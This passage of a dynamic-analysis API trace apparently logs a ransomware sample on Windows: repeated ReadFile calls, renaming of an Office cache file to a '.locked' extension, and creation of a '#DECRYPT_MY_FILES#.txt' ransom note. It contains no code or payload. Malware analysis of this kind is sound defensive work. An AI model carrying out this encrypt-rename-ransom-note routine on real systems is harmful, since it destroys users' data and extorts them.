lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x3b8, lpOverlapped=0x0) returned 1 [0031.813] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x3b0, lpOverlapped=0x0) returned 1 [0031.813] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x3a8, lpOverlapped=0x0) returned 1 [0031.813] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x3a0, lpOverlapped=0x0) returned 1 [0031.814] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x398, lpOverlapped=0x0) returned 1 [0031.814] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x390, lpOverlapped=0x0) returned 1 [0031.814] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x388, lpOverlapped=0x0) returned 1 [0031.814] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x380, lpOverlapped=0x0) returned 1 [0031.814] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x378, lpOverlapped=0x0) returned 1 [0031.814] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x370, lpOverlapped=0x0) returned 1 [0031.814] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x368, lpOverlapped=0x0) returned 1 [0031.814] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x360, lpOverlapped=0x0) returned 1 [0031.814] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x358, lpOverlapped=0x0) returned 1 [0031.814] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x350, lpOverlapped=0x0) returned 1 [0031.814] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x348, lpOverlapped=0x0) returned 1 [0031.814] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x340, lpOverlapped=0x0) returned 1 [0031.814] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x338, lpOverlapped=0x0) returned 1 [0031.814] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x330, lpOverlapped=0x0) returned 1 [0031.815] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x328, lpOverlapped=0x0) returned 1 [0031.815] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x320, lpOverlapped=0x0) returned 1 [0031.815] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x318, lpOverlapped=0x0) returned 1 [0031.815] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x310, lpOverlapped=0x0) returned 1 [0031.815] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x308, lpOverlapped=0x0) returned 1 [0031.815] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x300, lpOverlapped=0x0) returned 1 [0031.815] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x2f8, lpOverlapped=0x0) returned 1 [0031.815] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x2f0, lpOverlapped=0x0) returned 1 [0031.815] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x2e8, lpOverlapped=0x0) returned 1 [0031.815] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x2e0, lpOverlapped=0x0) returned 1 [0031.815] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x2d8, lpOverlapped=0x0) returned 1 [0031.815] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x2d0, lpOverlapped=0x0) returned 1 [0031.815] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x2c8, lpOverlapped=0x0) returned 1 [0031.815] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x2c0, lpOverlapped=0x0) returned 1 [0031.816] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x2b8, lpOverlapped=0x0) returned 1 [0031.816] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x2b0, lpOverlapped=0x0) returned 1 [0031.816] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x2a8, lpOverlapped=0x0) returned 1 [0031.816] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x2a0, lpOverlapped=0x0) returned 1 [0031.816] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x298, lpOverlapped=0x0) returned 1 [0031.816] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x290, lpOverlapped=0x0) returned 1 [0031.816] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x288, lpOverlapped=0x0) returned 1 [0031.816] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x280, lpOverlapped=0x0) returned 1 [0031.816] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x278, lpOverlapped=0x0) returned 1 [0031.816] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x270, lpOverlapped=0x0) returned 1 [0031.816] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x268, lpOverlapped=0x0) returned 1 [0031.816] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x260, lpOverlapped=0x0) returned 1 [0031.816] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x258, lpOverlapped=0x0) returned 1 [0031.816] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x250, lpOverlapped=0x0) returned 1 [0031.817] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x248, lpOverlapped=0x0) returned 1 [0031.817] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x240, lpOverlapped=0x0) returned 1 [0031.817] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x238, lpOverlapped=0x0) returned 1 [0031.817] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x230, lpOverlapped=0x0) returned 1 [0031.817] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x228, lpOverlapped=0x0) returned 1 [0031.817] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x220, lpOverlapped=0x0) returned 1 [0031.817] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x218, lpOverlapped=0x0) returned 1 [0031.817] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x210, lpOverlapped=0x0) returned 1 [0031.817] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x208, lpOverlapped=0x0) returned 1 [0031.817] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x200, lpOverlapped=0x0) returned 1 [0031.817] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x1f8, lpOverlapped=0x0) returned 1 [0031.817] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x1f0, lpOverlapped=0x0) returned 1 [0031.817] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x1e8, lpOverlapped=0x0) returned 1 [0031.817] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x1e0, lpOverlapped=0x0) returned 1 [0031.817] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x1d8, lpOverlapped=0x0) returned 1 [0031.818] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x1d0, lpOverlapped=0x0) returned 1 [0031.818] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x1c8, lpOverlapped=0x0) returned 1 [0031.818] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x1c0, lpOverlapped=0x0) returned 1 [0031.818] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x1b8, lpOverlapped=0x0) returned 1 [0031.818] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x1b0, lpOverlapped=0x0) returned 1 [0031.818] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x1a8, lpOverlapped=0x0) returned 1 [0031.818] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x1a0, lpOverlapped=0x0) returned 1 [0031.818] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x198, lpOverlapped=0x0) returned 1 [0031.818] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x190, lpOverlapped=0x0) returned 1 [0031.818] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x188, lpOverlapped=0x0) returned 1 [0031.818] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x180, lpOverlapped=0x0) returned 1 [0031.818] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x178, lpOverlapped=0x0) returned 1 [0031.818] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x170, lpOverlapped=0x0) returned 1 [0031.818] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x168, lpOverlapped=0x0) returned 1 [0031.819] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x160, lpOverlapped=0x0) returned 1 [0031.819] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x158, lpOverlapped=0x0) returned 1 [0031.819] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x150, lpOverlapped=0x0) returned 1 [0031.819] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x148, lpOverlapped=0x0) returned 1 [0031.819] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x140, lpOverlapped=0x0) returned 1 [0031.819] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x138, lpOverlapped=0x0) returned 1 [0031.819] AreFileApisANSI () returned 1 [0031.819] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0031.820] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0031.820] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x136) returned 0x819f70 [0031.820] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x42d498, cbMultiByte=-1, lpWideCharStr=0x819f70, cchWideChar=74 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 74 [0031.820] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x815fa0, cbMultiByte=-1, lpWideCharStr=0x81a004, cchWideChar=81 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.locked") returned 81 [0031.820] MoveFileExW (lpExistingFileName="C:\\\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.locked" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml.locked"), dwFlags=0x2) returned 1 [0031.820] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x819f70 | out: hHeap=0x7f0000) returned 1 [0031.820] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x815fa0 | out: hHeap=0x7f0000) returned 1 [0031.820] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80db30 | out: hHeap=0x7f0000) returned 1 [0031.820] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x813440 | out: hHeap=0x7f0000) returned 1 [0031.820] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x813450 | out: hHeap=0x7f0000) returned 1 [0031.820] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0031.820] FindNextFileA (in: hFindFile=0x825850, lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x3, dwReserved1=0x3, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0031.820] FindClose (in: hFindFile=0x825850 | out: hFindFile=0x825850) returned 1 [0031.821] FindNextFileA (in: hFindFile=0x825890, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xecdfa490, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="{90140000-0018-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~2")) returned 1 [0031.821] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x40) returned 0x810fc0 [0031.821] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x40) returned 0x810f78 [0031.821] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x40) returned 0x810f30 [0031.821] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x810f78 | out: hHeap=0x7f0000) returned 1 [0031.821] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x810f30 | out: hHeap=0x7f0000) returned 1 [0031.821] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x810fc0 | out: hHeap=0x7f0000) returned 1 [0031.821] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x40) returned 0x810fc0 [0031.821] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x780) returned 0x827800 [0031.821] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x50) returned 0x80db30 [0031.821] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x77) returned 0x801350 [0031.821] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80db30 | out: hHeap=0x7f0000) returned 1 [0031.821] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813450 [0031.821] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813440 [0031.821] AreFileApisANSI () returned 1 [0031.821] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x801350, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0031.821] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xae) returned 0x806668 [0031.821] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x801350, cbMultiByte=-1, lpWideCharStr=0x806668, cchWideChar=87 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\#DECRYPT_MY_FILES#.txt") returned 87 [0031.821] CreateFileW (lpFileName="C:\\\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\#DECRYPT_MY_FILES#.txt" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\#decrypt_my_files#.txt"), dwDesiredAccess=0x40000000, 